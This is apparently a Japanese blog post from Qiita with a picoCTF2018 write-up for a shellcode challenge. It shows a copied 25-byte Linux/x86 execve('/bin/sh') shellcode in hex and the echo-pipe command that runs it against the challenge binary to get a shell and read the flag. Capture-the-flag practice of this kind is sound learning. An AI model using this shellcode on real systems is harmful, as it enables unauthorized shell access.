LoginSignup
5
1

More than 3 years have passed since last update.

picoCTF2018 writeup shellcode

Posted at

以下のWriteupを参考に解きました.
自分なりに噛み砕いて解法を書きます.

解く手順

渡されるソースコードを解読する

問題と一緒にソースコードが渡されます.
main関数を見ると,標準入力から渡された文字列をそのまま関数のように実行することがわかります.
そこで,シェルコードを実行プログラムに渡せば,シェルを立ち上げることができます.

シェルコードを書く

アセンブリ言語を書くのが難しかったので,インターネット上のコードをそのままコピペしました.

Linux/x86 - execve(/bin/sh) - 25 bytes

実行

echoでシェルコードを出力して,実行プログラムにパイプします.

$ (echo -e "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; cat) | ./vuln

-eでエスケープシーケンスを解釈してくれます.("\x"をつけると16進数とみなす)
echoの後にcatを実行することで,端末からの入力を受け取り続けるので,シェルを起動し続けることができます.

フラグ獲得

成功しても何も表示されませんが,cat flag.txtを実行すると,中身のフラグを得ることができます.

5
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
5
1